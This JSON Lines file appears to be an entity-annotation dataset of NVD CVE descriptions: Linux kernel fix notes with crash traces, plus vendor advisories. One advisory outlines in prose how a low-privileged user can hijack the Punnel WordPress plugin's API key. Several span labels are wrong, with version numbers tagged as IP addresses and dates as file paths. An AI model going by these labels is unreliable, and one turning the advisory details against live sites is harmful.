{"text": "The Punnel – Landing Page Builder plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.3.1. The save_config() function, which handles the 'punnel_save_config' AJAX action, lacks any capability check (current_user_can()) and nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the plugin's entire configuration including the API key via a POST request to admin-ajax.php. Once the API key is known (because the attacker set it), the attacker can use the plugin's public API endpoint (sniff_requests() at /?punnel_api=1) — which only validates requests by comparing a POST token against the stored api_key — to create, update, or delete arbitrary posts, pages, and products on the site.", "spans": {"FILEPATH: ajax.php": [[480, 488]], "SYSTEM: WordPress": [[45, 54]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3645"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: add proper RCU protection to /proc/net/ptype\n\nYin Fengwei reported an RCU stall in ptype_seq_show() and provided\na patch.\n\nReal issue is that ptype_seq_next() and ptype_seq_show() violate\nRCU rules.\n\nptype_seq_show() runs under rcu_read_lock(), and reads pt->dev\nto get device name without any barrier.\n\nAt the same time, concurrent writers can remove a packet_type structure\n(which is correctly freed after an RCU grace period) and clear pt->dev\nwithout an RCU grace period.\n\nDefine ptype_iter_state to carry a dev pointer along seq_net_private:\n\nstruct ptype_iter_state {\n\tstruct seq_net_private\tp;\n\tstruct net_device\t*dev; // added in this patch\n};\n\nWe need to record the device pointer in ptype_get_idx() and\nptype_seq_next() so that ptype_seq_show() is safe against\nconcurrent pt->dev changes.\n\nWe also need to add full RCU protection in ptype_seq_next().\n(Missing READ_ONCE() when reading list.next values)\n\nMany thanks to Dong Chenchen for providing a repro.", "spans": {"FILEPATH: /proc/net/ptype": [[103, 118]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23255"}}
{"text": "Vulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: Miscellaneous). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Scripting. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Scripting, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Scripting accessible data as well as unauthorized update, insert or delete access to some of Oracle Scripting accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [284, 290], [419, 425], [609, 615], [709, 715]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2091"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvc_screen: move load of struct vc_data pointer in vcs_read() to avoid UAF\n\nAfter a call to console_unlock() in vcs_read() the vc_data struct can be\nfreed by vc_deallocate(). Because of that, the struct vc_data pointer\nload must be done at the top of while loop in vcs_read() to avoid a UAF\nwhen vcs_size() is called.\n\nSyzkaller reported a UAF in vcs_size().\n\nBUG: KASAN: use-after-free in vcs_size (drivers/tty/vt/vc_screen.c:215)\nRead of size 4 at addr ffff8881137479a8 by task 4a005ed81e27e65/1537\n\nCPU: 0 PID: 1537 Comm: 4a005ed81e27e65 Not tainted 6.2.0-rc5 #1\nHardware name: Red Hat KVM, BIOS 1.15.0-2.module\nCall Trace:\n  <TASK>\n__asan_report_load4_noabort (mm/kasan/report_generic.c:350)\nvcs_size (drivers/tty/vt/vc_screen.c:215)\nvcs_read (drivers/tty/vt/vc_screen.c:415)\nvfs_read (fs/read_write.c:468 fs/read_write.c:450)\n...\n  </TASK>\n\nAllocated by task 1191:\n...\nkmalloc_trace (mm/slab_common.c:1069)\nvc_allocate (./include/linux/slab.h:580 ./include/linux/slab.h:720\n     drivers/tty/vt/vt.c:1128 drivers/tty/vt/vt.c:1108)\ncon_install (drivers/tty/vt/vt.c:3383)\ntty_init_dev (drivers/tty/tty_io.c:1301 drivers/tty/tty_io.c:1413\n     drivers/tty/tty_io.c:1390)\ntty_open (drivers/tty/tty_io.c:2080 drivers/tty/tty_io.c:2126)\nchrdev_open (fs/char_dev.c:415)\ndo_dentry_open (fs/open.c:883)\nvfs_open (fs/open.c:1014)\n...\n\nFreed by task 1548:\n...\nkfree (mm/slab_common.c:1021)\nvc_port_destruct (drivers/tty/vt/vt.c:1094)\ntty_port_destructor (drivers/tty/tty_port.c:296)\ntty_port_put (drivers/tty/tty_port.c:312)\nvt_disallocate_all (drivers/tty/vt/vt_ioctl.c:662 (discriminator 2))\nvt_ioctl (drivers/tty/vt/vt_ioctl.c:903)\ntty_ioctl (drivers/tty/tty_io.c:2776)\n...\n\nThe buggy address belongs to the object at ffff888113747800\n  which belongs to the cache kmalloc-1k of size 1024\nThe buggy address is located 424 bytes inside of\n  1024-byte region [ffff888113747800, ffff888113747c00)\n\nThe buggy address belongs to the physical page:\npage:00000000b3fe6c7c refcount:1 mapcount:0 mapping:0000000000000000\n     index:0x0 pfn:0x113740\nhead:00000000b3fe6c7c order:3 compound_mapcount:0 subpages_mapcount:0\n     compound_pincount:0\nanon flags: 0x17ffffc0010200(slab|head|node=0|zone=2|lastcpupid=0x1fffff)\nraw: 0017ffffc0010200 ffff888100042dc0 0000000000000000 dead000000000001\nraw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n  ffff888113747880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n  ffff888113747900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n> ffff888113747980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n                                   ^\n  ffff888113747a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n  ffff888113747a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================\nDisabling lock debugging due to kernel taint", "spans": {"FILEPATH: /tty/vt/vc_screen.c": [[475, 494], [781, 800], [823, 842]], "FILEPATH: /kasan/report_generic.c": [[735, 758]], "FILEPATH: /include/linux/slab.h": [[994, 1015], [1021, 1042]], "FILEPATH: /tty/vt/vt.c": [[1059, 1071], [1084, 1096], [1123, 1135], [1476, 1488]], "FILEPATH: /tty/tty_io.c": [[1163, 1176], [1189, 1202], [1220, 1233], [1257, 1270], [1283, 1296], [1714, 1727]], "FILEPATH: /tty/tty_port.c": [[1523, 1538], [1565, 1580]], "FILEPATH: /tty/vt/vt_ioctl.c": [[1613, 1631], [1672, 1690]], "FILEPATH: read_write.c": [[861, 873], [881, 893]], "FILEPATH: slab_common.c": [[960, 973], [1431, 1444]], "FILEPATH: char_dev.c": [[1319, 1329]], "FILEPATH: open.c": [[1354, 1360], [1379, 1385]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[657, 660]], "ORGANIZATION: Red Hat": [[649, 656]], "VULNERABILITY: use-after-free": [[440, 454]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52973"}}
{"text": "A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.4), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.19), APOGEE PXC Modular (BACnet) (All versions < V3.5.4), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.19), Desigo PXC00-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC00-U (All versions >= V2.3 and < V6.30.016), Desigo PXC001-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC100-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC12-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC128-U (All versions >= V2.3 and < V6.30.016), Desigo PXC200-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC22.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC36.1-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC50-E.D (All versions >= V2.3 and < V6.30.016), Desigo PXC64-U (All versions >= V2.3 and < V6.30.016), Desigo PXM20-E (All versions >= V2.3 and < V6.30.016), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions < V3.5.4), TALON TC Modular (BACnet) (All versions < V3.5.4). FTP server does not properly validate the length of the “PWD/XPWD” command, leading to stack-based buffer overflows. This may result in Denial-of-Service conditions and Remote Code Execution. (FSMD-2021-0016)", "spans": {"VULNERABILITY: Remote Code Execution": [[1568, 1589]], "VULNERABILITY: Denial-of-Service": [[1535, 1552]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31887"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs_common: must not hold RCU while calling nfsd_file_put_local\n\nMove holding the RCU from nfs_to_nfsd_file_put_local to\nnfs_to_nfsd_net_put.  It is the call to nfs_to->nfsd_serv_put that\nrequires the RCU anyway (the puts for nfsd_file and netns were\ncombined to avoid an extra indirect reference but that\nmicro-optimization isn't possible now).\n\nThis fixes xfstests generic/013 and it triggering:\n\n\"Voluntary context switch within RCU read-side critical section!\"\n\n[  143.545738] Call Trace:\n[  143.546206]  <TASK>\n[  143.546625]  ? show_regs+0x6d/0x80\n[  143.547267]  ? __warn+0x91/0x140\n[  143.547951]  ? rcu_note_context_switch+0x496/0x5d0\n[  143.548856]  ? report_bug+0x193/0x1a0\n[  143.549557]  ? handle_bug+0x63/0xa0\n[  143.550214]  ? exc_invalid_op+0x1d/0x80\n[  143.550938]  ? asm_exc_invalid_op+0x1f/0x30\n[  143.551736]  ? rcu_note_context_switch+0x496/0x5d0\n[  143.552634]  ? wakeup_preempt+0x62/0x70\n[  143.553358]  __schedule+0xaa/0x1380\n[  143.554025]  ? _raw_spin_unlock_irqrestore+0x12/0x40\n[  143.554958]  ? try_to_wake_up+0x1fe/0x6b0\n[  143.555715]  ? wake_up_process+0x19/0x20\n[  143.556452]  schedule+0x2e/0x120\n[  143.557066]  schedule_preempt_disabled+0x19/0x30\n[  143.557933]  rwsem_down_read_slowpath+0x24d/0x4a0\n[  143.558818]  ? xfs_efi_item_format+0x50/0xc0 [xfs]\n[  143.559894]  down_read+0x4e/0xb0\n[  143.560519]  xlog_cil_commit+0x1b2/0xbc0 [xfs]\n[  143.561460]  ? _raw_spin_unlock+0x12/0x30\n[  143.562212]  ? xfs_inode_item_precommit+0xc7/0x220 [xfs]\n[  143.563309]  ? xfs_trans_run_precommits+0x69/0xd0 [xfs]\n[  143.564394]  __xfs_trans_commit+0xb5/0x330 [xfs]\n[  143.565367]  xfs_trans_roll+0x48/0xc0 [xfs]\n[  143.566262]  xfs_defer_trans_roll+0x57/0x100 [xfs]\n[  143.567278]  xfs_defer_finish_noroll+0x27a/0x490 [xfs]\n[  143.568342]  xfs_defer_finish+0x1a/0x80 [xfs]\n[  143.569267]  xfs_bunmapi_range+0x4d/0xb0 [xfs]\n[  143.570208]  xfs_itruncate_extents_flags+0x13d/0x230 [xfs]\n[  143.571353]  xfs_free_eofblocks+0x12e/0x190 [xfs]\n[  143.572359]  xfs_file_release+0x12d/0x140 [xfs]\n[  143.573324]  __fput+0xe8/0x2d0\n[  143.573922]  __fput_sync+0x1d/0x30\n[  143.574574]  nfsd_filp_close+0x33/0x60 [nfsd]\n[  143.575430]  nfsd_file_free+0x96/0x150 [nfsd]\n[  143.576274]  nfsd_file_put+0xf7/0x1a0 [nfsd]\n[  143.577104]  nfsd_file_put_local+0x18/0x30 [nfsd]\n[  143.578070]  nfs_close_local_fh+0x101/0x110 [nfs_localio]\n[  143.579079]  __put_nfs_open_context+0xc9/0x180 [nfs]\n[  143.580031]  nfs_file_clear_open_context+0x4a/0x60 [nfs]\n[  143.581038]  nfs_file_release+0x3e/0x60 [nfs]\n[  143.581879]  __fput+0xe8/0x2d0\n[  143.582464]  __fput_sync+0x1d/0x30\n[  143.583108]  __x64_sys_close+0x41/0x80\n[  143.583823]  x64_sys_call+0x189a/0x20d0\n[  143.584552]  do_syscall_64+0x64/0x170\n[  143.585240]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  143.586185] RIP: 0033:0x7f3c5153efd7", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56743"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: tun: fix tun_napi_alloc_frags()\n\nsyzbot reported the following crash [1]\n\nIssue came with the blamed commit. Instead of going through\nall the iov components, we keep using the first one\nand end up with a malformed skb.\n\n[1]\n\nkernel BUG at net/core/skbuff.c:2849 !\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 6230 Comm: syz-executor132 Not tainted 6.13.0-rc1-syzkaller-00407-g96b6fcc0ee41 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/25/2024\n RIP: 0010:__pskb_pull_tail+0x1568/0x1570 net/core/skbuff.c:2848\nCode: 38 c1 0f 8c 32 f1 ff ff 4c 89 f7 e8 92 96 74 f8 e9 25 f1 ff ff e8 e8 ae 09 f8 48 8b 5c 24 08 e9 eb fb ff ff e8 d9 ae 09 f8 90 <0f> 0b 66 0f 1f 44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90\nRSP: 0018:ffffc90004cbef30 EFLAGS: 00010293\nRAX: ffffffff8995c347 RBX: 00000000fffffff2 RCX: ffff88802cf45a00\nRDX: 0000000000000000 RSI: 00000000fffffff2 RDI: 0000000000000000\nRBP: ffff88807df0c06a R08: ffffffff8995b084 R09: 1ffff1100fbe185c\nR10: dffffc0000000000 R11: ffffed100fbe185d R12: ffff888076e85d50\nR13: ffff888076e85c80 R14: ffff888076e85cf4 R15: ffff888076e85c80\nFS:  00007f0dca6ea6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f0dca6ead58 CR3: 00000000119da000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  skb_cow_data+0x2da/0xcb0 net/core/skbuff.c:5284\n  tipc_aead_decrypt net/tipc/crypto.c:894 [inline]\n  tipc_crypto_rcv+0x402/0x24e0 net/tipc/crypto.c:1844\n  tipc_rcv+0x57e/0x12a0 net/tipc/node.c:2109\n  tipc_l2_rcv_msg+0x2bd/0x450 net/tipc/bearer.c:668\n  __netif_receive_skb_list_ptype net/core/dev.c:5720 [inline]\n  __netif_receive_skb_list_core+0x8b7/0x980 net/core/dev.c:5762\n  __netif_receive_skb_list net/core/dev.c:5814 [inline]\n  netif_receive_skb_list_internal+0xa51/0xe30 net/core/dev.c:5905\n  gro_normal_list include/net/gro.h:515 [inline]\n  napi_complete_done+0x2b5/0x870 net/core/dev.c:6256\n  napi_complete include/linux/netdevice.h:567 [inline]\n  tun_get_user+0x2ea0/0x4890 drivers/net/tun.c:1982\n  tun_chr_write_iter+0x10d/0x1f0 drivers/net/tun.c:2057\n do_iter_readv_writev+0x600/0x880\n  vfs_writev+0x376/0xba0 fs/read_write.c:1050\n  do_writev+0x1b6/0x360 fs/read_write.c:1096\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /core/skbuff.c": [[316, 330], [629, 643], [1598, 1612]], "FILEPATH: /25/2024": [[575, 583]], "FILEPATH: /tipc/crypto.c": [[1641, 1655], [1703, 1717]], "FILEPATH: /tipc/node.c": [[1750, 1762]], "FILEPATH: /tipc/bearer.c": [[1801, 1815]], "FILEPATH: /core/dev.c": [[1856, 1867], [1929, 1940], [1976, 1987], [2051, 2062], [2153, 2164]], "FILEPATH: /net/gro.h": [[2093, 2103]], "FILEPATH: /linux/netdevice.h": [[2193, 2211]], "FILEPATH: /net/tun.c": [[2261, 2271], [2317, 2327]], "FILEPATH: /x86/entry/common.c": [[2479, 2498], [2542, 2561]], "FILEPATH: read_write.c": [[2395, 2407], [2440, 2452]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[509, 515], [516, 522], [538, 544], [566, 572]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56372"}}
{"text": "A stack buffer overflow vulnerability has been reported to affect QNAP device running QVR Elite, QVR Pro, QVR Guard. If exploited, this vulnerability allows attackers to execute arbitrary code. We have already fixed this vulnerability in the following versions of QVR Elite, QVR Pro, QVR Guard: QuTS hero h5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QuTS hero h4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 5.0.0: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Elite 2.1.4.0 (2021/12/06) and later QTS 4.5.4: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Pro 2.1.3.0 (2021/12/06) and later QTS 4.5.4: QVR Guard 2.1.3.0 (2021/12/06) and later QTS 5.0.0: QVR Guard 2.1.3.0 (2021/12/06) and later", "spans": {"IP_ADDRESS: 2.1.4.0": [[323, 330], [382, 389], [434, 441], [486, 493]], "IP_ADDRESS: 2.1.3.0": [[536, 543], [586, 593], [638, 645], [690, 697]], "FILEPATH: /12/06": [[336, 342], [395, 401], [447, 453], [499, 505], [549, 555], [599, 605], [651, 657], [703, 709]], "ORGANIZATION: QNAP": [[66, 70]], "VULNERABILITY: buffer overflow": [[8, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38689"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: dwmac-tegra: Read iommu stream id from device tree\n\nNvidia's Tegra MGBE controllers require the IOMMU \"Stream ID\" (SID) to be\nwritten to the MGBE_WRAP_AXI_ASID0_CTRL register.\n\nThe current driver is hard coded to use MGBE0's SID for all controllers.\nThis causes softirq time outs and kernel panics when using controllers\nother than MGBE0.\n\nExample dmesg errors when an ethernet cable is connected to MGBE1:\n\n[  116.133290] tegra-mgbe 6910000.ethernet eth1: Link is Up - 1Gbps/Full - flow control rx/tx\n[  121.851283] tegra-mgbe 6910000.ethernet eth1: NETDEV WATCHDOG: CPU: 5: transmit queue 0 timed out 5690 ms\n[  121.851782] tegra-mgbe 6910000.ethernet eth1: Reset adapter.\n[  121.892464] tegra-mgbe 6910000.ethernet eth1: Register MEM_TYPE_PAGE_POOL RxQ-0\n[  121.905920] tegra-mgbe 6910000.ethernet eth1: PHY [stmmac-1:00] driver [Aquantia AQR113] (irq=171)\n[  121.907356] tegra-mgbe 6910000.ethernet eth1: Enabling Safety Features\n[  121.907578] tegra-mgbe 6910000.ethernet eth1: IEEE 1588-2008 Advanced Timestamp supported\n[  121.908399] tegra-mgbe 6910000.ethernet eth1: registered PTP clock\n[  121.908582] tegra-mgbe 6910000.ethernet eth1: configuring for phy/10gbase-r link mode\n[  125.961292] tegra-mgbe 6910000.ethernet eth1: Link is Up - 1Gbps/Full - flow control rx/tx\n[  181.921198] rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:\n[  181.921404] rcu: \t7-....: (1 GPs behind) idle=540c/1/0x4000000000000002 softirq=1748/1749 fqs=2337\n[  181.921684] rcu: \t(detected by 4, t=6002 jiffies, g=1357, q=1254 ncpus=8)\n[  181.921878] Sending NMI from CPU 4 to CPUs 7:\n[  181.921886] NMI backtrace for cpu 7\n[  181.922131] CPU: 7 UID: 0 PID: 0 Comm: swapper/7 Kdump: loaded Not tainted 6.13.0-rc3+ #6\n[  181.922390] Hardware name: NVIDIA CTI Forge + Orin AGX/Jetson, BIOS 202402.1-Unknown 10/28/2024\n[  181.922658] pstate: 40400009 (nZcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  181.922847] pc : handle_softirqs+0x98/0x368\n[  181.922978] lr : __do_softirq+0x18/0x20\n[  181.923095] sp : ffff80008003bf50\n[  181.923189] x29: ffff80008003bf50 x28: 0000000000000008 x27: 0000000000000000\n[  181.923379] x26: ffffce78ea277000 x25: 0000000000000000 x24: 0000001c61befda0\n[  181.924486] x23: 0000000060400009 x22: ffffce78e99918bc x21: ffff80008018bd70\n[  181.925568] x20: ffffce78e8bb00d8 x19: ffff80008018bc20 x18: 0000000000000000\n[  181.926655] x17: ffff318ebe7d3000 x16: ffff800080038000 x15: 0000000000000000\n[  181.931455] x14: ffff000080816680 x13: ffff318ebe7d3000 x12: 000000003464d91d\n[  181.938628] x11: 0000000000000040 x10: ffff000080165a70 x9 : ffffce78e8bb0160\n[  181.945804] x8 : ffff8000827b3160 x7 : f9157b241586f343 x6 : eeb6502a01c81c74\n[  181.953068] x5 : a4acfcdd2e8096bb x4 : ffffce78ea277340 x3 : 00000000ffffd1e1\n[  181.960329] x2 : 0000000000000101 x1 : ffffce78ea277340 x0 : ffff318ebe7d3000\n[  181.967591] Call trace:\n[  181.970043]  handle_softirqs+0x98/0x368 (P)\n[  181.974240]  __do_softirq+0x18/0x20\n[  181.977743]  ____do_softirq+0x14/0x28\n[  181.981415]  call_on_irq_stack+0x24/0x30\n[  181.985180]  do_softirq_own_stack+0x20/0x30\n[  181.989379]  __irq_exit_rcu+0x114/0x140\n[  181.993142]  irq_exit_rcu+0x14/0x28\n[  181.996816]  el1_interrupt+0x44/0xb8\n[  182.000316]  el1h_64_irq_handler+0x14/0x20\n[  182.004343]  el1h_64_irq+0x80/0x88\n[  182.007755]  cpuidle_enter_state+0xc4/0x4a8 (P)\n[  182.012305]  cpuidle_enter+0x3c/0x58\n[  182.015980]  cpuidle_idle_call+0x128/0x1c0\n[  182.020005]  do_idle+0xe0/0xf0\n[  182.023155]  cpu_startup_entry+0x3c/0x48\n[  182.026917]  secondary_start_kernel+0xdc/0x120\n[  182.031379]  __secondary_switched+0x74/0x78\n[  212.971162] rcu: INFO: rcu_preempt detected expedited stalls on CPUs/tasks: { 7-.... } 6103 jiffies s: 417 root: 0x80/.\n[  212.985935] rcu: blocking rcu_node structures (internal RCU debug):\n[  212.992758] Sending NMI from CPU 0 to CPUs 7:\n[  212.998539] NMI backtrace for cpu 7\n[  213.004304] CPU: 7 UID: 0 PI\n---truncated---", "spans": {"FILEPATH: /1/0x4000000000000002": [[1484, 1505]], "FILEPATH: /28/2024": [[1881, 1889]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: NVIDIA": [[1821, 1827]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21663"}}
{"text": "A vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Captive Portal allows an unauthenticated attacker to cause an extended Denial of Service (DoS) for these services by sending a high number of specific requests. This issue affects: Juniper Networks Junos OS 12.3 versions prior to 12.3R12-S17 on EX Series; 12.3X48 versions prior to 12.3X48-D105 on SRX Series; 15.1 versions prior to 15.1R7-S8; 15.1X49 versions prior to 15.1X49-D230 on SRX Series; 16.1 versions prior to 16.1R7-S8; 17.4 versions prior to 17.4R2-S12, 17.4R3-S3; 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S6; 18.3 versions prior to 18.3R2-S4, 18.3R3-S3; 18.4 versions prior to 18.4R2-S5, 18.4R3-S4; 19.1 versions prior to 19.1R2-S2, 19.1R3-S2; 19.2 versions prior to 19.2R1-S5, 19.2R3; 19.3 versions prior to 19.3R2-S4, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R1-S3, 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.", "spans": {"ORGANIZATION: Juniper": [[338, 345]], "VULNERABILITY: Denial of Service": [[228, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0261"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: idxd: Fix oops during rmmod on single-CPU platforms\n\nDuring the removal of the idxd driver, registered offline callback is\ninvoked as part of the clean up process. However, on systems with only\none CPU online, no valid target is available to migrate the\nperf context, resulting in a kernel oops:\n\n    BUG: unable to handle page fault for address: 000000000002a2b8\n    #PF: supervisor write access in kernel mode\n    #PF: error_code(0x0002) - not-present page\n    PGD 1470e1067 P4D 0\n    Oops: 0002 [#1] PREEMPT SMP NOPTI\n    CPU: 0 PID: 20 Comm: cpuhp/0 Not tainted 6.8.0-rc6-dsa+ #57\n    Hardware name: Intel Corporation AvenueCity/AvenueCity, BIOS BHSDCRB1.86B.2492.D03.2307181620 07/18/2023\n    RIP: 0010:mutex_lock+0x2e/0x50\n    ...\n    Call Trace:\n    <TASK>\n    __die+0x24/0x70\n    page_fault_oops+0x82/0x160\n    do_user_addr_fault+0x65/0x6b0\n    __pfx___rdmsr_safe_on_cpu+0x10/0x10\n    exc_page_fault+0x7d/0x170\n    asm_exc_page_fault+0x26/0x30\n    mutex_lock+0x2e/0x50\n    mutex_lock+0x1e/0x50\n    perf_pmu_migrate_context+0x87/0x1f0\n    perf_event_cpu_offline+0x76/0x90 [idxd]\n    cpuhp_invoke_callback+0xa2/0x4f0\n    __pfx_perf_event_cpu_offline+0x10/0x10 [idxd]\n    cpuhp_thread_fun+0x98/0x150\n    smpboot_thread_fn+0x27/0x260\n    smpboot_thread_fn+0x1af/0x260\n    __pfx_smpboot_thread_fn+0x10/0x10\n    kthread+0x103/0x140\n    __pfx_kthread+0x10/0x10\n    ret_from_fork+0x31/0x50\n    __pfx_kthread+0x10/0x10\n    ret_from_fork_asm+0x1b/0x30\n    <TASK>\n\nFix the issue by preventing the migration of the perf context to an\ninvalid target.", "spans": {"FILEPATH: /18/2023": [[765, 773]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[684, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35989"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: dump vmalloc memory info safely\n\nCurrently, for double invoke call_rcu(), will dump rcu_head objects memory\ninfo, if the objects is not allocated from the slab allocator, the\nvmalloc_dump_obj() will be invoke and the vmap_area_lock spinlock need to\nbe held, since the call_rcu() can be invoked in interrupt context,\ntherefore, there is a possibility of spinlock deadlock scenarios.\n\nAnd in Preempt-RT kernel, the rcutorture test also trigger the following\nlockdep warning:\n\nBUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:48\nin_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 1, name: swapper/0\npreempt_count: 1, expected: 0\nRCU nest depth: 1, expected: 1\n3 locks held by swapper/0/1:\n #0: ffffffffb534ee80 (fullstop_mutex){+.+.}-{4:4}, at: torture_init_begin+0x24/0xa0\n #1: ffffffffb5307940 (rcu_read_lock){....}-{1:3}, at: rcu_torture_init+0x1ec7/0x2370\n #2: ffffffffb536af40 (vmap_area_lock){+.+.}-{3:3}, at: find_vmap_area+0x1f/0x70\nirq event stamp: 565512\nhardirqs last  enabled at (565511): [<ffffffffb379b138>] __call_rcu_common+0x218/0x940\nhardirqs last disabled at (565512): [<ffffffffb5804262>] rcu_torture_init+0x20b2/0x2370\nsoftirqs last  enabled at (399112): [<ffffffffb36b2586>] __local_bh_enable_ip+0x126/0x170\nsoftirqs last disabled at (399106): [<ffffffffb43fef59>] inet_register_protosw+0x9/0x1d0\nPreemption disabled at:\n[<ffffffffb58040c3>] rcu_torture_init+0x1f13/0x2370\nCPU: 0 PID: 1 Comm: swapper/0 Tainted: G        W          6.5.0-rc4-rt2-yocto-preempt-rt+ #15\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x68/0xb0\n dump_stack+0x14/0x20\n __might_resched+0x1aa/0x280\n ? __pfx_rcu_torture_err_cb+0x10/0x10\n rt_spin_lock+0x53/0x130\n ? find_vmap_area+0x1f/0x70\n find_vmap_area+0x1f/0x70\n vmalloc_dump_obj+0x20/0x60\n mem_dump_obj+0x22/0x90\n __call_rcu_common+0x5bf/0x940\n ? debug_smp_processor_id+0x1b/0x30\n call_rcu_hurry+0x14/0x20\n rcu_torture_init+0x1f82/0x2370\n ? __pfx_rcu_torture_leak_cb+0x10/0x10\n ? __pfx_rcu_torture_leak_cb+0x10/0x10\n ? __pfx_rcu_torture_init+0x10/0x10\n do_one_initcall+0x6c/0x300\n ? debug_smp_processor_id+0x1b/0x30\n kernel_init_freeable+0x2b9/0x540\n ? __pfx_kernel_init+0x10/0x10\n kernel_init+0x1f/0x150\n ret_from_fork+0x40/0x50\n ? __pfx_kernel_init+0x10/0x10\n ret_from_fork_asm+0x1b/0x30\n </TASK>\n\nThe previous patch fixes this by using the deadlock-safe best-effort\nversion of find_vm_area.  However, in case of failure print the fact that\nthe pointer was a vmalloc pointer so that we print at least something.", "spans": {"DOMAIN: rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org": [[1656, 1700]], "FILEPATH: /locking/spinlock_rt.c": [[608, 630]], "FILEPATH: /0/1": [[792, 796]], "FILEPATH: /01/2014": [[1703, 1711]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1614, 1618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54113"}}
